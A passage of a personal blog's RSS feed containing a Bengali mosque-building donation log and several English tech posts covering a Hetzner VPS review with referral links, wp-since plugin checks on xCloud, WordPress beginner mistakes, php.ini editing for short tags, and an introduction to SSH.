&lt;p&gt;আল্লাহ রব্বুল আলামিন যেন আমাদের জন্য তাঁর ঘর নির্মাণের কাজ সহজ করে দেন। কোরআনের বিভিন্ন আয়াত থেকে মসজিদের মর্যাদা, গুরুত্ব ও ফজিলত, মসজিদ নির্মাণকারীদের মর্যাদা বোঝা যায়।&lt;/p&gt;
&lt;p&gt;কোরআনে আল্লাহ তার নবি ও খলিল ইবরাহিমের (আ.) কাবা ও মসজিদুল হারাম নির্মাণের ঘটনা বিস্তারিত বর্ণনা করেছেন। যে কাজের তত্ত্বাবধান করেছেন, দিক-নির্দেশনা দিয়েছেন আল্লাহ তাআলা স্বয়ং। আল্লাহ তাআলা বলেন,&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;আর স্মরণ কর, যখন আমি কাবাকে মানুষের জন্য মিলনকেন্দ্র ও নিরাপদ স্থান বানালাম এবং বললাম &apos;তোমরা মাকামে ইবরাহিমকে নামাজের স্থানরূপে গ্রহণ কর&apos;। আর আমি ইবরাহিম ও ইসমাইলকে দায়িত্ব দিয়েছিলাম যে, তোমরা আমার ঘরকে তাওয়াফকারী, ইতেকাফকারী ও রুকু-সিজদাকারীদের জন্য পবিত্র কর। (সুরা বাকারা: ১২৫)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;আমার সাথে যোগাযোগের উপায়
Whatsapp: 01558987890
Email: hello@hurayraiit.com
&lt;/code&gt;&lt;/pre&gt;

&lt;hr /&gt;

&lt;strong&gt;Update #February 05-06, 2025&lt;/strong&gt;
&lt;p&gt;আলহামদুলিল্লাহ!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WPDeveloper&lt;/strong&gt; থেকে প্রাপ্ত ৪০,০০০ টাকার চেক মসজিদের ব্যাংকে জমা দেওয়া হয়েছে।&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;আর ৮০,০০০ টাকা ক্যাশ মাসজিদের ফান্ডে জমা দেওয়া হয়েছে। দোকান থেকে বাকিতে রড কেনা হয়েছিলো। আমরা এই ৮০,০০০ টাকা দিয়ে বাকি পরিশোধ করেছি। এখনো ২০,০০০ টাকার মতো বাকি পরিশোধ করতে হবে। এর বাইরেও প্রায় ১ টন (১০০০ কেজি) রড কিনতে ক্ষমতায় প্রায় ১ লক্ষ টাকা প্রয়োজন।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;আপনাদের সাদাকাহ দিয়ে আমাদের মসজিদের ফাউন্ডেশনের কাজ শুরু করা হয়েছে। আজ আমরা মসজিদের ভিত্তি স্থাপন করলাম।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;জুম্মার নামাজের পর গ্রামের সবার জন্য খানাপিনার ব্যাবস্থা করা হয়। সবাই ইদের দিনের মতো আনন্দ উপভোগ করেছেন আলহামদুলিল্লাহ।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;strong&gt;Update #March 07, 2025&lt;/strong&gt;
&lt;p&gt;আলহামদুলিল্লাহ! মসজিদের ফাউন্ডেশনের কাজ শেষ হয়েছে। এখন বিম করতে হবে এবং বালু দিয়ে জায়গা ভরাট করতে হবে।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;বালু দিয়ে জায়গা ভরাট করতে ৩৫,০০০ টাকা প্রয়োজন। এর পাশাপাশি আরো ১ টন রড কিনতে হবে।&lt;/p&gt;

&lt;hr /&gt;

&lt;strong&gt;Update #March 18, 2025&lt;/strong&gt;
&lt;p&gt;আলহামদুলিল্লাহ, মসজিদের বিম তৈরির কাজ শুরু হয়েছে।&lt;/p&gt;

&lt;hr /&gt;

&lt;strong&gt;Update #August 13, 2025&lt;/strong&gt;
&lt;p&gt;বর্তমানে মসজিদের কাজ কিছুটা বন্ধ অবস্থায় আছে। আমরা এই পর্যন্ত মসজিদের ভিত্তি নির্মাণ সম্পন্ন করেছি আলহামদুলিল্লাহ। এর পর আমরা বিমগুলো নির্মাণ করেছি।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;পরবর্তী কাজ হলো ছাদের কাজ শুরু করা। ছাদের কাজ শুরু করার জন্য আনুমানিক ছয় লক্ষ টাকা প্রয়োজন। কিন্তু মসজিদের ফান্ডে মাত্র দেড় লক্ষ টাকা রয়েছে। এই পরিমাণ টাকা উত্তোলন করার পর আবার কাজ শুরু করা সম্ভব হবে ইনশাআল্লাহ।&lt;/p&gt;

&lt;hr /&gt;

&lt;strong&gt;Update #November 21, 2025&lt;/strong&gt;
&lt;p&gt;মসজিদের ছাদ ঢালাইয়ের কাজ শুরু হয়েছে।&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;strong&gt;Update #January 08, 2026&lt;/strong&gt;
&lt;h2&gt;Update #January 08, 2026&lt;/h2&gt;
&lt;p&gt;📝 মসজিদের বর্তমান অবস্থা। চারপাশে দেয়াল তোলা হয়ে গেলে ছাদের নিচে প্লাস্টার করতে হবে। এরপর মেঝে প্লাস্টার করতে হবে। তারপর মসজিদে সালাত আদায় করা যাবে ইনশাআল্লাহ। গরমের সিজন আসার আগেই কাজ কমপ্লিট করতে হবে।&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
</content:encoded><atom:updated>2026-05-06T00:00:00.000Z</atom:updated><category>Sadakah</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Hetzner Cloud VPS: Why It&apos;s a Game Changer for Developers</title><link>https://hurayraiit.com/blog/hetzner-is-a-game-changer-for-developers-in-2025/</link><guid isPermaLink="true">https://hurayraiit.com/blog/hetzner-is-a-game-changer-for-developers-in-2025/</guid><description>Why Hetzner Cloud VPS stands out in 2025 — transparent pricing, generous traffic quotas, GDPR compliance, and solid performance for developers worldwide.</description><pubDate>Sun, 01 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why I Use—and Recommend—Hetzner for Cloud VPS&lt;/h2&gt;
&lt;p&gt;Over the past years, I’ve tried nearly all the major cloud and VPS providers in search of that sweet spot: solid performance, fair pricing, and developer-friendly controls. &lt;a href=&quot;https://hetzner.cloud/?ref=agm77Oj0eW89&quot;&gt;Hetzner&lt;/a&gt; consistently delivers on those fronts—and then some.&lt;/p&gt;
&lt;h3&gt;What Makes Hetzner Stand Out&lt;/h3&gt;
&lt;p&gt;– &lt;strong&gt;Transparent, fair pricing &amp;amp; hourly billing&lt;/strong&gt;: You pay for what you use, with no hidden surprises. (&lt;a href=&quot;https://www.hetzner.com/european-cloud?utm_source=chatgpt.com&quot;&gt;Hetzner&lt;/a&gt;)&lt;br /&gt;
– &lt;strong&gt;Flexible instance types&lt;/strong&gt;: Choose between &lt;strong&gt;shared vCPU&lt;/strong&gt; (great for lightweight apps) and &lt;strong&gt;dedicated vCPU&lt;/strong&gt; (for compute-intensive tasks). (&lt;a href=&quot;https://docs.hetzner.com/cloud/servers/overview/?utm_source=chatgpt.com&quot;&gt;docs.hetzner.com&lt;/a&gt;)&lt;br /&gt;
– &lt;strong&gt;Strong baseline features&lt;/strong&gt;: You get firewalls, volumes, snapshots, API/CLI, IPv4/IPv6 support, network configuration options. (&lt;a href=&quot;https://docs.hetzner.com/cloud/servers/overview/?utm_source=chatgpt.com&quot;&gt;docs.hetzner.com&lt;/a&gt;)&lt;br /&gt;
– &lt;strong&gt;Generous traffic quotas&lt;/strong&gt;: EU servers include 20 TB/month; US/Singapore come with a more modest baseline. (&lt;a href=&quot;https://www.hetzner.com/european-cloud?utm_source=chatgpt.com&quot;&gt;Hetzner&lt;/a&gt;)&lt;br /&gt;
– &lt;strong&gt;GDPR &amp;amp; data sovereignty&lt;/strong&gt;: As a German provider, Hetzner ensures strong data protection standards. (&lt;a href=&quot;https://www.hetzner.com/european-cloud?utm_source=chatgpt.com&quot;&gt;Hetzner&lt;/a&gt;)&lt;/p&gt;
&lt;h3&gt;Things to Watch Out For&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Strict account verification&lt;/strong&gt;: Some users report account denials if verification fails. (&lt;a href=&quot;https://www.reddit.com/r/VPS/comments/1efsiyl/hetzner_a_good_vps_option_or_a_dangerous_trap_for/?utm_source=chatgpt.com&quot;&gt;Reddit&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Backups are extra&lt;/strong&gt;: Automated backups aren’t included by default—you’ll pay extra if you enable them. (&lt;a href=&quot;https://www.vpsbenchmarks.com/hosters/hetzner?utm_source=chatgpt.com&quot;&gt;VPSBenchmarks&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No fully managed setup&lt;/strong&gt;: Hetzner is typically “you manage the server” style. (&lt;a href=&quot;https://www.reddit.com/r/webhosting/comments/l2bqi9/whats_the_difference_between_a_vps_and_hetzner/?utm_source=chatgpt.com&quot;&gt;Reddit&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How I Use It Alongside xcloud.host&lt;/h3&gt;
&lt;p&gt;I often combine Hetzner with &lt;strong&gt;&lt;a href=&quot;https://xcloud.host/?fpr=abu82&quot;&gt;xcloud.host&lt;/a&gt;&lt;/strong&gt; for scenarios where mid-tier support or simplified UI matters. But for raw power, scaling, or cost efficiency, Hetzner is my go-to. If you sign up for Hetzner through my link &lt;strong&gt;&lt;a href=&quot;https://hetzner.cloud/?ref=agm77Oj0eW89&quot;&gt;https://hetzner.cloud/?ref=agm77Oj0eW89&lt;/a&gt;&lt;/strong&gt;, you’ll also get a bonus and support me.&lt;/p&gt;
&lt;p&gt;In practice, I spin up &lt;a href=&quot;https://hetzner.cloud/?ref=agm77Oj0eW89&quot;&gt;Hetzner&lt;/a&gt; instances via the CLI or dashboard, attach volumes, deploy container workloads or web apps, and scale up/down as needed—no long-term lock-in. The performance is rock solid even under load.&lt;/p&gt;
&lt;p&gt;If you’re ready to test a high-value cloud VPS, join via my Hetzner referral link above and see how it holds up under your real workloads.&lt;/p&gt;
</content:encoded><atom:updated>2025-06-01T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Check WordPress Plugin Compatibility with wp-since on xCloud</title><link>https://hurayraiit.com/blog/how-to-check-wordpress-plugin-compatibility-with-wp-since-on-xcloud/</link><guid isPermaLink="true">https://hurayraiit.com/blog/how-to-check-wordpress-plugin-compatibility-with-wp-since-on-xcloud/</guid><description>Step-by-step guide to using wp-since on xCloud to check WordPress plugin compatibility — scan plugins for outdated functions, classes, and hooks via SSH.</description><pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Ensuring your WordPress plugins are compatible with your site’s WP version is crucial for performance and security. I recently discovered &lt;code&gt;[wp-since](https://github.com/eduardovillao/wp-since)&lt;/code&gt;, a handy tool that scans plugins for compatibility issues by checking functions, classes, methods, and hooks against WordPress core versions. Here’s how I set it up for my site hosted on &lt;a href=&quot;https://xcloud.host&quot;&gt;xCloud&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Step By Step Guide&lt;/h2&gt;
&lt;h3&gt;Step 01: SSH into the server&lt;/h3&gt;
&lt;p&gt;Log into your xCloud account and visit the &quot;Site &amp;gt; Access Data &amp;gt; SSH/sFTP&quot; page. Setup a public key or password.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then copy the &quot;SSH String&quot;. It should look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh site_user@123.234.45.100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then open your terminal and ssh into the server.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 02: Install wp-since using composer&lt;/h3&gt;
&lt;p&gt;Move into the home directory of the site user using the &lt;code&gt;cd&lt;/code&gt; command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd $HOME
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then create a new directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir wp-since
cd wp-since
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now install &lt;code&gt;wp-since&lt;/code&gt; using composer. xCloud provides composer access to all users.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;composer require --dev eduardovillao/wp-since
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Step 03: Verify plugin compatibility&lt;/h3&gt;
&lt;p&gt;Finally, you can use the following command to verify compatibility of your plugins.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./vendor/bin/wp-since check /var/www/e2e.hurayraiit.com/wp-content/plugins/essential-blocks
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Replace &lt;code&gt;e2e.hurayraiit.com&lt;/code&gt; with your site domain&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Replace &lt;code&gt;essential-blocks&lt;/code&gt; with your plugin slug&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The output will look like this:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Analyze the results&lt;/h2&gt;
&lt;p&gt;If we visit the WP org plugin repository (&lt;a href=&quot;https://wordpress.org/plugins/essential-blocks/&quot;&gt;link&lt;/a&gt;) and check the WordPress compatibility for &lt;code&gt;Essential Blocks&lt;/code&gt;, we can see that it claims to support all versions from 5.8.&lt;/p&gt;
&lt;p&gt;✅ Minimum version declared: 5.8 (from readme)&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;wp-since&lt;/code&gt; has found several symbols that were introduced in later WordPress versions (6.2.0, 5.9.0)&lt;/p&gt;
&lt;p&gt;So &lt;code&gt;wp-since&lt;/code&gt; recommends setting it to 6.2.0 to ensure compatibility.&lt;/p&gt;
&lt;p&gt;📌 Suggested version required: 6.2.0&lt;/p&gt;
&lt;h2&gt;Verify the issues&lt;/h2&gt;
&lt;p&gt;Let&apos;s check if Essential Blocks actually throws any errors or not if used with WordPress version 6.1.0&lt;/p&gt;
&lt;p&gt;Using xCloud, we will create a WordPress website with version 6.1.0 and install Essential Blocks using the deploy script:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Now, we will magic login into the website and activate the EB plugins. We can see that the EB settings page shows a blank page with console errors.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If we try to create a new post, we can not find any blocks related to EB.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;... and, that&apos;s it. Let me know if you enjoyed reading the article, using the comment section below 👇. See you in the next one.&lt;/p&gt;
&lt;p&gt;Do you want to learn about PHP ini files in xCloud, check out this article: &lt;a href=&quot;https://hurayraiit.com/intro-to-php-ini-for-nginx-openlitespeed/&quot;&gt;Intro to php.ini For Nginx &amp;amp; OpenLiteSpeed&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-04-15T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>10 Common WordPress Mistakes to Avoid (Beginner’s FAQ Guide)</title><link>https://hurayraiit.com/blog/10-common-wordpress-mistakes-to-avoid-beginners-faq-guide/</link><guid isPermaLink="true">https://hurayraiit.com/blog/10-common-wordpress-mistakes-to-avoid-beginners-faq-guide/</guid><description>Avoid the 10 most common WordPress mistakes beginners make — from weak passwords and skipping updates to plugin overload and poor backups. FAQ-style guide.</description><pubDate>Sat, 01 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Running a WordPress site is easier than ever, but beginners often fall into avoidable traps. In this &lt;strong&gt;FAQ-style blog post&lt;/strong&gt;, we’ll cover the most common mistakes and how you can avoid them.&lt;/p&gt;
&lt;h3&gt;Is it a mistake to use too many plugins?&lt;/h3&gt;
&lt;p&gt;Yes. Installing dozens of plugins slows down your site, increases the risk of conflicts, and makes updates harder to manage. Stick to only essential plugins, and choose well-maintained ones with good reviews.&lt;/p&gt;
&lt;h3&gt;Should I skip regular WordPress updates?&lt;/h3&gt;
&lt;p&gt;No. Not updating WordPress core, themes, and plugins leaves your site open to security vulnerabilities. Always update to the latest version (after taking a backup).&lt;/p&gt;
&lt;h3&gt;Is using weak passwords really dangerous?&lt;/h3&gt;
&lt;p&gt;Absolutely. Weak or reused passwords are one of the biggest reasons WordPress sites get hacked. Always use strong, unique passwords with a password manager and enable two-factor authentication (2FA).&lt;/p&gt;
&lt;h3&gt;Can I ignore website backups?&lt;/h3&gt;
&lt;p&gt;Never. Without backups, you risk losing everything if your site crashes or gets hacked. Use plugins like UpdraftPlus or Jetpack to schedule automated backups.&lt;/p&gt;
&lt;h3&gt;Is choosing a cheap or random theme a problem?&lt;/h3&gt;
&lt;p&gt;Yes. Poorly coded themes can slow down your site, cause compatibility issues, and even hide malicious code. Stick to reputable sources like the WordPress theme directory or trusted developers.&lt;/p&gt;
&lt;h3&gt;Does hosting really matter for WordPress performance?&lt;/h3&gt;
&lt;p&gt;It does. Cheap shared hosting often leads to slow websites and frequent downtime. Invest in a reliable WordPress host like &lt;a href=&quot;https://xcloud.host/?fpr=abu82&quot;&gt;xCloud&lt;/a&gt;, FlyWP, etc for better performance.&lt;/p&gt;
&lt;h3&gt;Can I ignore mobile optimization?&lt;/h3&gt;
&lt;p&gt;No. Over half of all web traffic comes from mobile devices. If your site isn’t mobile-friendly, you’ll lose visitors and SEO rankings. Always use a responsive theme and test your site on different devices.&lt;/p&gt;
&lt;h3&gt;Should I forget about SEO when starting out?&lt;/h3&gt;
&lt;p&gt;That’s a mistake. SEO should be considered from day one. Optimize permalinks, use an SEO plugin (like Rank Math or Yoast), and create keyword-rich, valuable content.&lt;/p&gt;
&lt;h3&gt;Is it okay to overlook website speed?&lt;/h3&gt;
&lt;p&gt;No. Slow websites frustrate users and harm your Google ranking. Use caching, compress images, and consider a CDN to speed up your WordPress site.&lt;/p&gt;
&lt;h3&gt;Do I need to care about user roles and permissions?&lt;/h3&gt;
&lt;p&gt;Yes. Giving everyone “Administrator” access is risky. Use WordPress roles wisely—editors for content, admins for site management—to reduce security risks.&lt;/p&gt;
&lt;p&gt;Avoiding these &lt;strong&gt;common WordPress mistakes&lt;/strong&gt; will keep your site secure, fast, and professional. Start small, stay updated, and always put security and user experience first.&lt;/p&gt;
</content:encoded><atom:updated>2025-03-01T00:00:00.000Z</atom:updated><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>php.ini Configuration for Nginx and OpenLiteSpeed [Guide]</title><link>https://hurayraiit.com/blog/intro-to-php-ini-for-nginx-openlitespeed/</link><guid isPermaLink="true">https://hurayraiit.com/blog/intro-to-php-ini-for-nginx-openlitespeed/</guid><description>Learn how to locate and edit php.ini on Ubuntu for both Nginx and OpenLiteSpeed — configure memory limits, short tags, and other PHP settings step by step.</description><pubDate>Sun, 16 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;PHP configurations are managed through the &lt;code&gt;php.ini&lt;/code&gt; file. Editing this file allows you to customize various PHP settings such as enabling or disabling short tags, setting memory limits, and more.&lt;/p&gt;
&lt;p&gt;This guide will show you how to edit the &lt;code&gt;php.ini&lt;/code&gt; file on Ubuntu servers for both &lt;code&gt;OpenLiteSpeed&lt;/code&gt; and &lt;code&gt;Nginx&lt;/code&gt; to enable short PHP tags.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Locating &lt;code&gt;php.ini&lt;/code&gt; File for Nginx on ubuntu&lt;/h2&gt;
&lt;p&gt;Depending on the PHP version you are using, the &lt;code&gt;php.ini&lt;/code&gt; file is typically located in one of the following directories:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/etc/php/7.4/fpm/php.ini  # For PHP 7.4
/etc/php/8.0/fpm/php.ini  # For PHP 8.0
/etc/php/8.1/fpm/php.ini  # For PHP 8.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can use the command &lt;code&gt;php --ini&lt;/code&gt; in the terminal to find the path of the &lt;code&gt;php.ini&lt;/code&gt; file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@ubuntu:~# php --ini

Configuration File (php.ini) Path: /etc/php/8.1/cli
Loaded Configuration File:         /etc/php/8.1/cli/php.ini
Scan for additional .ini files in: /etc/php/8.1/cli/conf.d
Additional .ini files parsed:      /etc/php/8.1/cli/conf.d/10-mysqlnd.ini,
.... .... ....
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To find the exact path, run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php --ini | grep &quot;Loaded Configuration File&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@ubuntu:~# php --ini | grep &quot;Loaded Configuration File&quot;

Loaded Configuration File:         /etc/php/8.1/cli/php.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Locating &lt;code&gt;php.ini&lt;/code&gt; File for OpenLiteSpeed on ubuntu&lt;/h2&gt;
&lt;p&gt;For OpenLiteSpeed, the &lt;code&gt;php.ini&lt;/code&gt; file is usually located in:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# For PHP 7.4
/usr/local/lsws/lsphp74/etc/php/7.4/litespeed/php.ini

# For PHP 8.0
/usr/local/lsws/lsphp80/etc/php/8.0/litespeed/php.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re unsure of the path, you can find it by running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php --ini | grep &quot;Loaded Configuration File&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@ubuntu:~# php --ini | grep &quot;Loaded Configuration File&quot;

Loaded Configuration File:

/usr/local/lsws/lsphp81/etc/php/8.1/litespeed/php.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Editing the &lt;code&gt;php.ini&lt;/code&gt; File&lt;/h2&gt;
&lt;p&gt;Use a text editor like &lt;code&gt;nano&lt;/code&gt; or &lt;code&gt;vim&lt;/code&gt; to open the &lt;code&gt;php.ini&lt;/code&gt; file. Replace &lt;code&gt;8.1&lt;/code&gt; with your actual PHP version.&lt;/p&gt;
&lt;p&gt;For Nginx:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /etc/php/8.1/cli/php.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For OpenLiteSpeed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nano /usr/local/lsws/lsphp81/etc/php/8.1/litespeed/php.ini
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Search for the &lt;code&gt;short_open_tag&lt;/code&gt; directive. To search in &lt;code&gt;nano&lt;/code&gt;, press &lt;code&gt;Ctrl + W&lt;/code&gt;, type &lt;code&gt;short_open_tag&lt;/code&gt;, and press &lt;code&gt;Enter&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modify the line to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;short_open_tag = On
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the line is commented out (has a &lt;code&gt;;&lt;/code&gt; at the beginning), remove the &lt;code&gt;;&lt;/code&gt; to uncomment it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;For &lt;code&gt;nano&lt;/code&gt;, press &lt;code&gt;Ctrl + X&lt;/code&gt;, then &lt;code&gt;Y&lt;/code&gt;, and press &lt;code&gt;Enter&lt;/code&gt; to save and exit.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For &lt;code&gt;vim&lt;/code&gt;, press &lt;code&gt;Esc&lt;/code&gt;, type &lt;code&gt;:wq&lt;/code&gt;, and press &lt;code&gt;Enter&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Restart Services To Apply Changes&lt;/h2&gt;
&lt;p&gt;After making the changes, we need to restart the services to apply the changes.&lt;/p&gt;
&lt;p&gt;For Nginx:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart php8.1-fpm
sudo systemctl restart nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For OpenLiteSpeed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart lsws
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Verify The Changes&lt;/h2&gt;
&lt;p&gt;To confirm that the short tags are enabled, create a test PHP file in your web server’s root directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?  // Notice how we are using short tags.

    phpinfo();

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Access this file via your browser (e.g., &lt;code&gt;http://yourserver.com/test.php&lt;/code&gt;). Check the &lt;code&gt;short_open_tag&lt;/code&gt; value in the output to see if it is set to &lt;code&gt;On&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Editing the &lt;code&gt;php.ini&lt;/code&gt; file is straightforward but requires attention to detail. Always ensure you have the correct path to the &lt;code&gt;php.ini&lt;/code&gt; file and restart the appropriate services after making changes.&lt;/p&gt;
&lt;p&gt;This guide covered how to enable short PHP tags for both Nginx and OpenLiteSpeed on Ubuntu servers.&lt;/p&gt;
</content:encoded><atom:updated>2025-02-16T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>What Is SSH? Beginner&apos;s Guide to Secure Shell Protocol</title><link>https://hurayraiit.com/blog/what-is-ssh/</link><guid isPermaLink="true">https://hurayraiit.com/blog/what-is-ssh/</guid><description>What is SSH? A clear introduction to Secure Shell — how it encrypts remote connections, how to use it from the terminal, and practical examples for developers.</description><pubDate>Sat, 01 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Imagine you are trying to send a secret letter to a friend, but you know that every mail carrier along the way might try to take a peek at what you’ve written. In the digital world, Secure Shell, or SSH, is the equivalent of putting that letter into a high-tech, unbreakable safe before it ever leaves your house. It is a cryptographic network protocol that allows you to operate network services securely over an unsecured network.&lt;/p&gt;
&lt;p&gt;When you connect to a remote server using SSH, the protocol establishes an encrypted &quot;tunnel&quot; between your local machine and the remote host. This ensures that even if someone intercepts your data packets, all they will see is a jumbled mess of characters. For developers and system administrators, this is the gold standard for logging into servers, executing commands, and transferring files without exposing sensitive credentials.&lt;/p&gt;
&lt;p&gt;The most basic way to use SSH is through a terminal. On an Ubuntu system, for instance, you can connect to a server using a simple command structure. You provide the username and the IP address or domain name of the machine you want to access.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Connecting to a remote server via SSH
# Syntax: ssh username@remote_host
ssh root@192.168.1.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you are inside, you aren&apos;t limited to just manual typing. You can use SSH within scripts to automate tasks across different environments. A common practice is using Bash to run a remote command without even starting an interactive session. This is incredibly useful for checking the status of a service or pulling logs from a production environment.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Running a remote command and exiting immediately
ssh user@server_ip &quot;uptime&quot;
&lt;/code&gt;&lt;/pre&gt;
